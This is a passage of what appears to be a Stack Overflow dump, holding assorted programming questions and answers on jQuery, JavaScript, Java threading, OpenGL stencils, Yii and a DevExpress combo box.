transform:translate(50%, -50%); border-radius:1000px; background:rgba(0,0,0,0.8); font-family:Arial, Sans-Serif; font-size:20px; text-align:center; line-height:100%; color:#fff; text-decoration:none; } .popup-close:hover { -webkit-transform:translate(50%, -50%) rotate(180deg); transform:translate(50%, -50%) rotate(180deg); background:rgba(0,0,0,1); text-decoration:none; } #popup-inner-content { text-align: center; font-size: 2em; color: #2a2a2a; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"&gt;&lt;/script&gt; &lt;a class="btn" data-popup-open="popup-1" href="#"&gt;Open Popup #1&lt;/a&gt; &lt;div class="newsletter-popup" data-popup="popup-1"&gt; &lt;div class="popup-inner"&gt; &lt;div id="popup-inner-content"&gt;Thanks for subscribing to our newsletter!&lt;/div&gt; &lt;!-- &lt;p&gt;&lt;a data-popup-close="popup-1" href="#"&gt;Close&lt;/a&gt;&lt;/p&gt; --&gt; &lt;a class="popup-close" data-popup-close="popup-1" href="#"&gt;x&lt;/a&gt; &lt;/div&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
9979801	0	 <h2>PROBLEM:</h2> <p>I'm betting that you have a one-dimensional array with strings stored in each. So your array actually looks like:</p> <pre><code>array ( [0] =&gt; '...', [1] =&gt; '.X.', [2] =&gt; '...' ) </code></pre> <p>When this is what you want:</p> <pre><code>array ( [0] =&gt; array ( [0] =&gt; '.', [1] =&gt; '.', [2] =&gt; '.' ), [1] =&gt; array ( [0] =&gt; '.', [1] =&gt; 'X', [2] =&gt; '.' ), [2] =&gt; array ( [0] =&gt; '.', [1] =&gt; '.', [2] =&gt; '.' ) ) </code></pre> <p><br /></p> <h2>SOLUTION:</h2> <p>When constructing your 2D array, make sure you explicitly declare each entry in <code>board</code> as an array. So to construct it, your code might look something like this:</p> <pre><code>board = new Array(); rows = 3; for (var i = 0; i &lt; rows; i++) board[i] = new Array('.', '.', '.'); </code></pre>
17344168	0	Using SQL "Tree Branch" shortcut to Join Tables <p>To add more clarity to my question, I've seen a way in which by right clicking in the object explorer (or somewhere within) we had the option of selecting a checkbox from one table and then another to have it autogenerate the JOIN query beneath. </p> <p>I'm unsure of where this is, or if it even still exisits. I did a quick search online, and through SQL Server myself but have yet to find anything. </p> <p>Does this ring a bell to anyone? Ideally I could see the tables that are connected to one another in a "Tree Branch" form and can click on directly to join those two (or atleast populate the query)...</p> <p>Let me know, thanks!</p>
29657155	0	 <p>in my case using <code>width="100%"</code> in table caused the problem, removing width solved it.</p> <p><strong>working code</strong></p> <pre><code>&lt;table id="dt_table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;column1&lt;/th&gt; &lt;th&gt;column2&lt;/th&gt; &lt;th&gt;column3&lt;/th&gt; &lt;th&gt;column4&lt;/th&gt; &lt;th&gt;column5&lt;/th&gt; &lt;th&gt;column6&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;/table&gt; </code></pre>
12489854	0	How can I prevent both the keyboard and the menu from being shown together? <p>Here's a screenshot of my application. When the search box is clicked, the soft-keyboard automatically pops up, which is fine, but, if I also press the "Menu" button, the menu appears on top of the soft-keyboard. </p> <p>How can I show the menu but collapse the <code>SearchView</code> if it is in focus and also hide the soft-keyboard. I probably need to check and do something in the <code>onPrepareOptionsMenu</code> method of my <code>Activity</code>, right?</p> <p>It doesn't cause any real harm to me but it seems like an ugly implementation to the user when this happens.</p> <p><img src="https://i.stack.imgur.com/FQckf.jpg" alt="enter image description here"></p>
33260553	1	Using PyperClip on web app <p>I am using pyperclip.py to grab a list of E-Mail Addresses in my web app using a form so a user can paste it locally via clipboard. It works perfect locally. However, while running it on a server (Linux 14.04 with Apache2) and accessed from a client system through the browser it doesn't copy. How can I get it to copy to the clipboard of the client's system? </p> <p>Right now I'm just trying to get it to work and as such I'm only using a single line. I'm using pyperclip 1.5.15 with xclip and Python 3.4. The server is running Linux 14.04 and the client has noticed issues on Windows 8 and Windows 10 using Google Chrome and IE. No other os has currently been tested. </p> <pre><code>pyperclip.copy("HELLO") </code></pre>
34459670	0	Convert Library to JavaScript closure <p>I have an external library of JavaScript functions that I need to pull into my server-side Google Apps Script project. I'm doing this mainly for performance reasons, but also because <a href="https://developers.google.com/apps-script/guide_libraries" rel="nofollow">Google now recommends against using external libs</a>.</p> <p>In the current configuration, functions in the external library are referenced by <code>&lt;Libname&gt;.funcName()</code>, and any globals in the library are likewise contained, e.g. <code>&lt;Libname&gt;.globA</code>. If I just copy the library into a file in my project, those functions (and "globals") would be referenced as <code>funcName()</code> alone. I've got hundreds of such references in my project that potentially need to change. That's fine; it's something a global search &amp; replace can address. However, I have worries about "namespace" problems... Since the library is third-party code, I've had no control over it, and now I'm running into name collisions, as objects and functions in the library have the same names as some of my code.</p> <p>How can I pull this code into my project in a way that will keep its internal details separate from my code? Is there a way to do that and retain the current naming convention, <code>&lt;Libname&gt;.funcName()</code>? I believe that JavaScript closures are the right solution, but don't know enough about them.</p> <h3>My project, <code>Code.gs</code></h3> <pre><code>var globA = { key: 'aKey', value: 'valA' }; function myFunction() { var a = MyLib.getValue(); Logger.log( JSON.stringify( a ) ); // { key: 'libKey', value: 'valLibA' }; } function getValue() { return globA; } </code></pre> <h3>Library "MyLib", <code>Code.gs</code></h3> <pre><code>var globA = { key: 'libKey', value: 'valLibA' }; function getValue( ) { return globA; } </code></pre>
28298046	0	Filter not working with laravel commands <p>Can we use filters with Laravel commands. It works fine with controllers. But when use with commands it shows error "call to undefined method". I have this filter customAuth. It works fine in controller by calling <code>$this-&gt;beforeFilter('podioAuth');</code></p> <p>But when I use this with Laravel commands it shows error. Are filters designed only to work with controllers?</p>
24266037	0	 <p>The following code should help. You should split each subject into a separate array within your query. Once your query is complete, you should iterate through the subject array, and then within each staff id.</p> <pre><code>$subjects = array(); $q = mysql_query("Select staff_id from my_table"); while($row = mysql_fetch_array($q)){ if ($subjects[$row['SUBJECT']] == nil) { $subjects[$row['SUBJECT']] = array(); } array_push($subjects[$row['SUBJECT']], $row['STAFF_ID']); } foreach ($subjects as $key=&gt;$value) { echo $key . '&lt;br&gt;; foreach ($vaue as &amp;$staff) { echo $staff . '&lt;br&gt;'; } } </code></pre>
15134325	0	 <p>Call <code>moment.utc()</code> the same way you're calling <code>Date.UTC</code>: </p> <pre><code>var withMoment = moment.utc([now.getFullYear(), now.getMonth(), now.getDate(), now.getHours(), now.getMinutes(), now.getSeconds()]).valueOf(); </code></pre> <p>I think calling <code>moment.utc(now)</code> will make it assume <code>now</code> lives in the local timezone, and it will convert it to UTC first, hence the difference.</p>
21927147	0	How to serialize ArrayList of float arrays <p>I have an ArrayList, and each object consists of an array of two floats representing coordinates. I found that I could serialize the ArrayList by calling the .toString() method on it, but this did not serialize the float arrays within the ArrayList. How can I go about serializing those as well?</p> <p>Here is basically what I did:</p> <pre><code>private ArrayList&lt;float[]&gt; pointsList = new ArrayList&lt;float[]&gt;(); </code></pre> <p>In an onTouch method, I add coordinates to the list:</p> <pre><code>float[] thisPosition = new float[2]; thisPosition[0] = touchX; thisPosition[1] = touchY; pointsList.add(thisPosition); </code></pre> <p>Then I serialize the ArrayList like this:</p> <p>pointsList.toString();</p> <p>But each item in the list is turned into F@426d51d8 and other strings like that. How can I serialize these sub-arrays and preserve their numeric values? I have searched forums here on StackOverflow and elsewhere, but other similar questions address how to make an ArrayList of String arrays or other ArrayLists.</p>
32950452	0	 <p>Copy and paste this into notepad and remove all <code>\</code> characters so that you get one long line. Then paste in cmd. Should work. And the message you are seeing usually means that you try to run <code>mvn</code> from a folder which does not contain <code>pom.xml</code></p>
23621173	0	 <p>How about writing 2 servlets, one to take in the image and write it to the database and another one to get the image and pass it back in the response output stream which you can call from the webpage via an ajax call.</p>
18536407	0	Keep `this` on prototype's object <p>I am trying to build a small javascript library for study purposes. I have an object inside a prototype that has some functions inside. I would like to access <code>this</code> (the one that has <code>valueOf</code> and stuff) from inside the functions, but <code>this</code> now brings me only the object parent to the functions.</p> <p>My code (coffee):</p> <pre><code>HTMLElement.prototype.on = click: (action) -&gt; @valueOf().addEventListener('click', action, false) # I'd like this to work, # but `this` here refers to the `on` object </code></pre> <p>Is this possible? I know I'm kinda reinventing the wheel, but as I said, it's for study purposes, so that's the idea.</p>
25439285	0	 <p>I ended up implementing a custom version of the parsing algorithm used by JISON's compiled parsers, which takes an immutable state object, and a token, and performs as much work as possible with the token before returning. I am then able to use this implementation to check if a token will produce a parse error, and easily roll back to previous states of the parser.</p> <p>It works fairly well, although it is a bit of a hack right now. You can find the code here: <a href="https://github.com/mystor/myst/blob/cb9b7b7d83e5d00f45bef0f994e3a4ce71c11bee/compiler/layout.js" rel="nofollow">https://github.com/mystor/myst/blob/cb9b7b7d83e5d00f45bef0f994e3a4ce71c11bee/compiler/layout.js</a></p> <p>I tried doing what @augustss suggested, using the error production to fake the token's insertion, but it appears as though JISON doesn't have all of the tools which I need in order to get a reliable implementation, and re-implementing a stripped-down version of the parsing algorithm turned out to be easier, and lined up better with the original document.</p>
28671966	0	 <p><strong>Function to get random integers where min, max are inclusive</strong></p> <pre><code>function getRandomInt(min, max) { return Math.floor(Math.random() * (max - min + 1)) + min; } </code></pre> <p><strong>Function to find Random Value from passed variable <code>plot</code></strong></p> <pre><code>function getRandomValue(plot) { var rN1 = getRandomInt(0,plot.length-1); var areaArray= plot[rN1].area.split(","); var rN2 = getRandomInt(0,areaArray.length-1); return areaArray[rN2]; } </code></pre> <p><strong>And use it like</strong></p> <pre><code>plot = [ { postcode: "MK1", area: "Denbigh, Mount Farm", }, { postcode: "MK2", area: "Brickfields, Central Bletchley, Fenny Stratford, Water Eaton" }, { postcode: "MK3", area: "Church Green, Far Bletchley, Old Bletchley, West Bletchley", }, { postcode: "MK4", area: "Emerson Valley, Furzton, Kingsmead, Shenley Brook End, Snelshall West, Tattenhoe, Tattenhoe Park, Westcroft, Whaddon, Woodhill", }, { postcode: "MK5", area: "Crownhill, Elfield Park, Grange Farm, Oakhill, Knowlhill, Loughton, Medbourne, Shenley Brook End, Shenley Church End, Shenley Lodge, Shenley Wood", } ] console.log(getRandomValue(plot)) </code></pre>
40550961	0	 <p>Those specific pieces of information aren't necessarily available in any sort of direct way using the xAPI (Tin Can API). xAPI stores data points in a stream of statements, those statements <em>may</em> include some of that information depending on how and what generated them.</p> <p>To access the statement stream you would need to make xAPI requests to the <code>/statements</code> resource provided by the LRS. You would have to ask the individual vendors for the location of their xAPI "endpoint" and for information on credentials for accessing that endpoint. Once you have that information I would suggest using one of the open source libraries linked at <a href="http://experienceapi.com/libraries" rel="nofollow noreferrer">http://experienceapi.com/libraries</a> to interface with the LRS. A lot of additional information about what xAPI provides, how to use it, etc. is available at that site.</p>
7504180	0	 <p>Maybe you could try this</p> <pre><code> double res = a / (b == 0 ? a : b); </code></pre>
11236200	0	Why do we need a static lock for synchronizing system.out.println()? <p>I am studying for java certification, and I see this example from Mughal's book:</p> <pre><code>public class Smiley extends Thread { @Override public void run() { while(true) { synchronized(this) { try { System.out.print(":"); Thread.sleep(100); System.out.print("-"); Thread.sleep(100); System.out.println(")"); Thread.sleep(100); } catch(InterruptedException e) { e.printStackTrace(); } } } } public static void main(String[] args) { new Smiley().start(); new Smiley().start(); } } </code></pre> <p>The purpose is to print one smiley :-) per line. My question is that why synchronizing on instance (this) doesn't achieve this? Why we need to synchronize on static level?</p> <p>Thanks,</p>
121231	0	 <p>In a word - No</p>
40503745	0	 <p>how about </p> <pre><code>julia&gt; collect(b)[1] "A" </code></pre> <p><strong>edit</strong> </p> <p>as the legendary Dan Getz suggested, consider doing </p> <pre><code>julia&gt; collect(take(b,1))[1] "A" </code></pre> <p>if memory is an issue</p>
13424483	0	 <p>When you open a MongoDB connection with the native driver, you're actually opening a pool of 5 connections (by default). So it's best to open that pool when your app starts and just leave it open rather than open and close the pool on each request.</p> <p>You're on the right track with closing out your HTTP response; just call <code>res.end();</code> when the response is complete (i.e. when <code>item</code> is <code>null</code> in the <code>cursor.each</code> callback).</p>
18434000	0	 <p>Check your remote "origin" to ensure the URL looks correct:</p> <p><code>git remote -v</code></p> <p>Next, try listing out the contents of the remote:</p> <p><code>git ls-remote origin</code></p> <p>If all goes well with the steps above, Git is certainly connecting to the GitHub hosted repository. Try the <code>git push origin fefixex</code> again.</p>
14747579	0	 <p>Your code is already working:</p> <p>for download as cvs add this code block:</p> <pre><code>Highcharts.getOptions().exporting.buttons.exportButton.menuItems.push({ text: 'Download CSV', onclick: function () { Highcharts.post('http://www.highcharts.com/studies/csv-export/csv.php', { csv: this.getCSV() }); } }); </code></pre> <p><a href="http://jsfiddle.net/gyf9y/1/" rel="nofollow">YOUR CODE DEMO</a></p>
31346733	0	How does mask affect stencil value according to stencil op? <p>The documentation in OpenGL reference pdf (both OpenGL 3.3 and 4.5 specs) is not much clear about what happens to the stored stencil value when a mask is applied.</p> <p>In example If I have the following mask:</p> <pre><code>glStencilMask( 0x06); </code></pre> <p>and stored in the stencil buffer there is already this value:</p> <pre><code>0x06 </code></pre> <p>If the stencil operation is <code>GL_INCR_WRAP</code></p> <p>what should happens when StencilOp is correctly invoked on that pixel?</p> <p>Basically I have the mask:</p> <pre><code>00000110 </code></pre> <p>and the value</p> <pre><code>00000110 </code></pre> <p>and I try to increment it, is it wrapped?</p> <pre><code>00000010 </code></pre> <p>or is it just zeroed? <code>(00000110 + 1) &amp; mask</code></p> <pre><code>00000000 </code></pre>
19619850	0	 <p>You could use a dictionary with a key that indicates your command and an anonymous method that holds the to be executed command. For performance you better refactor the Dictionary to be static and only instantiated once but this gives you the general idea.</p> <pre><code>void Engine_SpeechRecognized (object sender, SpeechRecognizedEventsArgs e) { var commands = new Dictionary&lt;string, Action&lt;string&gt;&gt;(); commands.Add( "search google", (arg) =&gt; { Search(arg); }) ; commands.Add( "open application", (arg) =&gt; { OpenApp( "https://www.google.com/#q=" + arg); }) ; foreach(var command in commands.Keys) { if (e.Result.Text.StartsWith(command)) { Action(command, e.Result.Text, commands[command]); } } } /* helper for getting one point for an arguments extractor */ static void Action(string cmd,string all, Action&lt;string&gt; act) { string args = all.Replace(cmd,""); act(args); } </code></pre>
35416133	0	 <p>Change the module script to remove the reference to material.svgAssetsCache and the demo will run but without the final row of buttons - which reference "local" image resources.</p> <p>If you grab a copy of the icons(<strong>bower install material-design-icons</strong>) and locate the relevant 24px .svg files and pop them in (say) /img/icons/ from the root of your web site (adjusting file names and path as required) then even this section will work just fine. </p> <p>The demo is rather off-putting when you think about it as it is likely to be chosen as a first stab at trying things out yet it only works within the CodePen sand-tray.</p>
8447944	0	How can you universally override the get and post methods in RSpec? <p>I'd like to override the <code>get</code> and <code>post</code> methods in RSpec. </p> <p>I want to do this in order to deal with subdomains in my tests. As far as I can tell, the only way to deal with subdomains is to alter the <code>@request</code> object before each call. I could do this before each and every test but that's going to lead to some really messy code.</p> <p>In an effort to keep things DRY I've tried using a <code>config.before(:each)</code> method in <code>spec_helper.rb</code> however this doesn't seem to be run in the same scope as the test and doesn't have access to <code>@request</code>.</p> <p>My next bsest approach is therefore to overrride <code>get</code> and <code>post</code> which are in the correct scope.</p> <pre><code>def get *args @request.host = @required_domain if @required_domain super *args end </code></pre> <p>I can include this code in the top of each spec file but I'd rather set it universally. If I set it in <code>spec_helper.rb</code> though it does not get called. </p> <p>Where can I set this to override the default <code>get</code> method?</p>
14593400	0	 
9274522	0	animate to light yellow then back to white? jQUery <p>i am trying to make my ul li's background color to turn yellow then back to white . i use the code below but it's not working.</p> <pre><code>$('#items ul li.test').animate({ 'background-color' : '#FFFEBC' }, 3000, function(){ $('#items ul li.test').animate({ 'background-color' : '#ffffff' }, 3000); }); </code></pre> <p>I have included jQuery library of course , and this code is triggered by another function. the function works but not the animate.</p> <p><code>.test</code> is the <code>ul li</code> class.</p> <p>Is there any problem with the code??</p>
36232930	0	C# saved folder downloaded from Google drive cannot access in visual studio <p>Good day. After i finished my practical class in school, i will upload the whole saved folder to google drive for me to revise at home. However, when i re-download the whole file from google drive at home, i couldn't open it on visual studio 2013, the whole file is just become different.</p> <p>This is when u saved it in computer <img src="https://i.stack.imgur.com/qHhxs.png" alt="This is when u saved it in computer"></p> <p>This is after u re-download from google drive <img src="https://i.stack.imgur.com/yE15P.png" alt="This is after u re-download from google drive"></p> <p>Is there any ways i can open back my work ?</p>
25134439	0	 <p>No , dont do that . loading remote website will not able to intract with your plugins . and the app will get rejected on istore too</p>
5493291	0	 <p>You can't directly call <code>click</code> on something in the control. However, you can register some JavaScript into the control and perform the click that way.</p> <p>See <a href="http://stackoverflow.com/questions/153748/how-to-inject-javascript-in-webbrowser-control">How to inject Javascript in WebBrowser control?</a> for details.</p>
39763927	0	 <p>Instead of using the style attribute as mentioned by RaMeSh, I would use a css attribute. That's simply cleaner.</p> <pre><code>if(logged_in === true) { echo '&lt;a class="hidden" href="/login"&gt;&lt;img style="margin-top:1px;" src="/template/img/sits_01.png"&gt;&lt;/a&gt;' } else { echo '&lt;a href="/login"&gt;&lt;img style="margin-top:1px;" src="/template/img/sits_01.png"&gt;&lt;/a&gt;' } </code></pre> <p>And in your style.css</p> <pre><code>.hidden { opacity: 0; } </code></pre> <p>Always try to avoid the <code>style</code> attribute if not 100% necessary. It makes your code less futureproof and terrible to work if you have to work with it ever again.</p>
28469210	0	 <p>You can use the <code>Windows.Web.Http.HttpClient</code> instead of <code>System.Net.Http.HttpClient</code>, i.e.:</p> <pre><code>HttpClient _httpClient = new HttpClient(); bool result = _httpClient.DefaultRequestHeaders.TryAppendWithoutValidation("Accept", "vnd.servicehost.v1+json"); var response = await _httpClient.GetAsync(uri); </code></pre>
834973	0	 <p>Help -> About Microsoft Visual Studio</p>
21450810	0	 <p>Try to define outputRowId as ParameterDirection.InputOutput</p>
18923384	0	 <p>The cause of the problem is twofold:</p> <ol> <li>In your module you have a behaviour declaration <code>-behaviour(cowboy_http_handler).</code>. This is perfectly correct.</li> <li>When you compile the file the compiler can't find the <code>cowboy_http_handler</code> module in its search path</li> </ol> <p>This causes the error as the behaviour declaration tells the compiler to go out and find that module and find out which callback functions the behaviour expects. Normally if the compiler can't find the behaviour module, or if it can find and there are some callbacks missing then it issues a warning about this and just continues. However your Makefile sets a compiler option which treats all warnings as errors so the compilation fails.</p> <p>There are (at least) three solutions to this:</p> <ol> <li>Remove the compiler option and accept you get a warning.</li> <li>Make sure the compiler can find the behaviour module and do the checking. A simple way of doing is to add a <code>-pa Dir</code> option for the cowboy beam file directory so it can find the file.</li> <li>Set up Erlang so that it automatically finds the cowboy directory, for example with <code>$ERL_LIBS</code>.</li> </ol> <p>Note that even if the compiler finds the right module you still have to make sure that when you run the system Erlang can find the directory. There is no automatic equivalence between the compile-time and run-time environments.</p>
12340411	0	Vibrate iphone when phone is silent <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/11770566/vibrate-command-only-works-when-settings-sounds-vibrate-switch-is-on">Vibrate command only works when Settings &gt; Sounds &gt; Vibrate switch is on</a> </p> </blockquote> <p>im working on an app where the phone vibrates when you press a certain button. I have it working but it only works when the phone is not on silent. Im using the AudioToolbox/AudioServices.h framework. Ive been look for a solution for a over an hour and a half now. Any ideas on what todo?</p>
5178286	0	 <p>I guess that's pretty much PHP syntax question rather than PDO one.</p> <pre><code>$params = is_array($params) ? $params : array($params); </code></pre> <p>is a shortland (called <em>ternary operator</em>)) for </p> <pre><code>if (is_array($params)) { $params = $params; } else { $params = array($params); } </code></pre> <p>which I'd rather wrote as </p> <pre><code>if (!is_array($params)) $params = array($params); </code></pre> <p>which is pretty self-explanatory and can be read almost in plain English: </p> <blockquote> <p>if $params is not an array, let's make it array with one value of former $params</p> </blockquote> <p>That's why I hate ternary operator (and lambdas) and always avoid it's use. It makes pretty readable code into a mess. Just out of programmer's laziness.</p> <p>To answer your other questions,</p> <blockquote> <p>Does it meant that I don't have to prepare the query in this way anymore?</p> </blockquote> <p>Who said that? You're preparing it all right in your code, check it again.</p> <blockquote> <p>and forget about this binding?</p> </blockquote> <p>that's true. <code>execute($params)</code> is just another way to bind variables. </p>
29887810	0	 <p>In case somebody is facing a similar problem: I was finally able to overcome the issue described above by setting the <code>android:launchMode</code> property for the <code>MainActivity</code> to <code>singleInstance</code>.</p>
1225465	0	"Callbacks" in Linq-to-SQL/ASP.NET MVC <p>After using .NET for several years, I've spent the last few months in the far off land of Ruby on Rails. While I can clearly see where much of Microsoft's MVC framework got it's influence, one of the things that I find myself suddenly missing when development in .NET are the Rails Model callbacks.</p> <p>Specifically, you can add a callback to <code>before_save, after_save, before_create, after_create</code>, etc. and then specify a function to be called at those points in execution (which seems very similar to aspect oriented programming).</p> <p>My question is, out of the box, does .NET 3.5/ASP.NET MVC offer anything similar to the callbacks in Rails? For example, if I have an <code>inserted_datetime</code> and <code>updated_datetime</code> column on one of my database tables, instead of making sure those columns get updated in the controller, I'd like to be able to tell my model that every time the "Group" object gets saved to the database, update the <code>updated_datetime</code> column.</p> <p>Is this possible? Does this question even make sense?</p>
39136166	0	 <p>Did you try this?</p> <pre><code>console.log(recordsets[0][0][" "]) </code></pre> <p>Or maybe another way if you know for sure that the stored procedure will give you only one result is converting the object into an array and checking first element:</p> <pre><code>var raw = recordsets[0][0] var result = Object.keys(raw).map(k =&gt; raw[k])[0] console.log(result) </code></pre>
32109187	0	 <pre><code> &lt;form ng-submit="search()" name="searchSideNav"&gt; &lt;div layout="column" layout-align="center"&gt; &lt;md-input-container flex&gt; &lt;label&gt;{{::labels.documentName}}&lt;/label&gt; &lt;input ng-model="searchItems.sDocumentName" ng-required="" name="sDocumentName"&gt; &lt;div ng-show="searchSideNav.sDocumentName.$invalid &amp;&amp; !searchSideNav.sDocumentName.$pristine"&gt; &lt;p ng-show="searchSideNav.sDocumentName.$error.required" class="help-block"&gt;Document is required&lt;/p&gt; &lt;/div&gt; &lt;/md-input-container&gt; &lt;md-button ng-disabled="searchSideNav.$invalid"&gt; Submit &lt;/md-button&gt; &lt;/div&gt; &lt;/form&gt; </code></pre>
12990449	0	Binding to DependencyProperty with no result <p>I have problem with binding to dependency property of my new control.<br> I decided to write some tests to examine this issue.<br></p> <p><strong>Binding from TextBox.Text to another TextBox.Text</strong></p> <p>XAML code:</p> <pre><code>&lt;TextBox Name="Test" Text="{Binding ElementName=Test2, Path=Text, UpdateSourceTrigger=PropertyChanged}" /&gt; &lt;TextBox Name="Test2" Grid.Row="2" /&gt; </code></pre> <p>The result is good - when I writing something in first TextBox -> second TextBox is updating (conversely too).</p> <p><img src="https://i.stack.imgur.com/i5TzV.png" alt="enter image description here"></p> <p>I created new control -> for example "SuperTextBox" with dependency property "SuperValue".</p> <p>Control XAML code:</p> <pre><code>&lt;UserControl x:Class="WpfApplication2.SuperTextBox" ... Name="Root"&gt; &lt;TextBox Text="{Binding SuperValue, ElementName=Root, UpdateSourceTrigger=PropertyChanged}" /&gt; &lt;/UserControl&gt; </code></pre> <p>Code behind:</p> <pre><code>public partial class SuperTextBox : UserControl { public SuperTextBox() { InitializeComponent(); } public static readonly DependencyProperty SuperValueProperty = DependencyProperty.Register( "SuperValue", typeof(string), typeof(SuperTextBox), new FrameworkPropertyMetadata(string.Empty) ); public string SuperValue { get { return (string)GetValue(SuperValueProperty); } set { SetValue(SuperValueProperty, value); } } } </code></pre> <p>Ok, and now tests!</p> <p><strong>Binding from TextBox.Text to SuperTextBox.SuperValue</strong></p> <pre><code> &lt;TextBox x:Name="Test1" Text="{Binding ElementName=Test2, Path=SuperValue, UpdateSourceTrigger=PropertyChanged}" /&gt; &lt;local:SuperTextBox x:Name="Test2" Grid.Row="2"/&gt; </code></pre> <p>Test is correct too! When I writing something in TextBox, SuperTextBox is updating. When i writing in SuperTextBox, TextBox is updating. All is ok!</p> <p>Now a problem:<br> <strong>Binding from SuperTextBox.SuperValue to TextBox.Text</strong></p> <pre><code> &lt;TextBox x:Name="Test1"/&gt; &lt;local:SuperTextBox x:Name="Test2" SuperValue="{Binding ElementName=Test1, Path=Text, UpdateSourceTrigger=PropertyChanged}" Grid.Row="2"/&gt; </code></pre> <p>In this case, when I writing something in SuperTextBox, TextBox is not updating! <img src="https://i.stack.imgur.com/eqSJP.png" alt="enter image description here"></p> <p>How can I fix this?</p> <p>PS: Question is very very long, I am sorry for that, but i tried exactly describe my problem.</p>
31763006	0	Moving whole row between two tables <p>I have to tables with identical structure, client_data, new_client_data. Now I want to move whole one row from one table to another. I've found a way to do it, it`s working fine, but I'm wondering if there is more elegant and clean way to do it.</p> <p>new_client_data / controller:</p> <pre><code>public function actionPromotion($id) + { + $model = $this-&gt;findModel($id); + + $clientData = new ClientData; + $newClientNumber = $clientData-&gt;setNewClientNumber(); + + $clientContacts = new OClientContacts; + + + if ($model-&gt;load(Yii::$app-&gt;request-&gt;post())) { + if($this-&gt;moveToClients(Yii::$app-&gt;request-&gt;post(), $model-&gt;id) &amp; $clientContacts-&gt;moveContacts($id)){ + return $this-&gt;redirect(['index']); + } else { + return $this-&gt;render('promprep', [ + 'model' =&gt; $model, + 'newClientNumber' =&gt; $newClientNumber, + ]); + } + } else { + return $this-&gt;render('promprep', [ + 'model' =&gt; $model, + 'newClientNumber' =&gt; $newClientNumber, + ]); + } + } </code></pre> <p>It's basic controller method build from standard actionUpdate. If user will submit all post data correctly then function is passing all post data to another method in that controller. ( also i`m wondering if shouldn't place in model instead).</p> <pre><code>+ public function moveToClients($post, $id){ + $ClientData = new ClientData; + + $ClientData-&gt;name = $post['OClientData']['name']; + $ClientData-&gt;clientNumber = $post['OClientData']['clientNumber']; + $ClientData-&gt;abr= $post['OClientData']['abr']; + $ClientData-&gt;adress = $post['OClientData']['adress']; + $ClientData-&gt;city = $post['OClientData']['city']; + $ClientData-&gt;postal = $post['OClientData']['postal']; + $ClientData-&gt;phone = $post['OClientData']['phone']; + $ClientData-&gt;fax = $post['OClientData']['fax']; + $ClientData-&gt;email = $post['OClientData']['email']; + $ClientData-&gt;nip = $post['OClientData']['nip']; + $ClientData-&gt;krs = $post['OClientData']['krs']; + $ClientData-&gt;regon = $post['OClientData']['regon']; + $ClientData-&gt;www = $post['OClientData']['www']; + $ClientData-&gt;description = $post['OClientData']['description']; + $ClientData-&gt;isNewRecord = true; + $ClientData-&gt;id = null; + + if($ClientData-&gt;save()){ + $this-&gt;actionDelete($id); + return true; + } + return false; + + } </code></pre> <p>My question is: "Is there a way to do this in more elegant way?";</p> <p>Edit. Question: "Should this <code>moveToClients</code> method land in the controller?";</p>
6305270	0	DevExpress ASPxComboBox not filtering <p>I have an ASPxComboBox from the DevExpress suite and am trying to get it filtered. If I click on the dropdown button of the combo box it will show the first few of the query as if the filter is empty.</p> <p>If I try to populate the filter, or scroll down to see more, it will just provide a perpetual "Loading" state. The stored procedure returns the correct results when ran with appropriate parameters. What could be the problem?</p> <p>EDIT: I have been following this tutorial on the DevExpress site: <a href="http://demos.devexpress.com/ASPxEditorsDemos/ASPxComboBox/LargeDataSource.aspx" rel="nofollow">http://demos.devexpress.com/ASPxEditorsDemos/ASPxComboBox/LargeDataSource.aspx</a></p> <p>EDIT (again): OK if I remove the line: </p> <pre><code>&lt;ClientSideEvents BeginCallback="function(s, e) { OnBeginCallback(); }" EndCallback="function(s, e) { OnEndCallback(); } " /&gt; </code></pre> <p>from the combo box it will hit a break point in <code>cboInstructor_OnItemsRequestedByFilterCondition_SQL</code>, but on going to the <code>DataBind()</code> it will thorw the error:</p> <blockquote> <p>Index (zero based) must be greater than or equal to zero and less than the size of the argument list.</p> </blockquote> <p>ASP file</p> <pre><code>&lt;form id="form1" runat="server"&gt; &lt;div&gt; &lt;dxe:ASPxComboBox ID="cboInstructor" runat="server" Width="100%" EnableCallbackMode="True" CallbackPageSize="10" IncrementalFilteringMode="Contains" ValueType="System.Int32" ValueField="employee_id" OnItemsRequestedByFilterCondition="cboInstructor_OnItemsRequestedByFilterCondition_SQL" OnItemRequestedByValue="cboInstructor_OnItemRequestedByValue_SQL" TextFormatString="{1} {2}" DropDownStyle="DropDown" DataSourceID="SqlDataSourceInstruct" &gt; &lt;Columns&gt; &lt;dxe:ListBoxColumn FieldName="display_forename" /&gt; &lt;dxe:ListBoxColumn FieldName="display_surname" /&gt; &lt;/Columns&gt; &lt;ClientSideEvents BeginCallback="function(s, e) { OnBeginCallback(); }" EndCallback="function(s, e) { OnEndCallback(); } " /&gt; &lt;/dxe:ASPxComboBox&gt; &lt;asp:SqlDataSource ID="SqlDataSourceInstruct" runat="server" ConnectionString="Server=160.10.1.25;User ID=root;Password=password;Persist Security Info=True;Database=central" ProviderName="MySql.Data.MySqlClient" SelectCommand="GetUser" SelectCommandType="StoredProcedure"&gt; &lt;SelectParameters&gt; &lt;asp:Parameter Name="filter" Type="String" /&gt; &lt;asp:Parameter Name="startIndex" Type="Int32" /&gt; &lt;asp:Parameter Name="endIndex" Type="Int32" /&gt; &lt;/SelectParameters&gt; &lt;/asp:SqlDataSource&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>CS file</p> <pre><code>public partial class TestComboBox : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void cboInstructor_OnItemsRequestedByFilterCondition_SQL(object source, ListEditItemsRequestedByFilterConditionEventArgs e) { ASPxComboBox comboBox = (ASPxComboBox)source; //SqlDataSourceInstruct.SelectCommand = // @"SELECT CONCAT(display_Forename, ' ', display_Surname) FROM (SELECT employee_id, display_forename , display_surname, @rownum:=@rownum+1 AS rn FROM central.user_record, (SELECT @rownum:=0) AS r WHERE CONCAT(display_forename, ' ', display_surname) LIKE @filter ORDER BY display_surname ASC) AS st where st.rn between @startIndex and @endIndex"; SqlDataSourceInstruct.SelectParameters.Clear(); 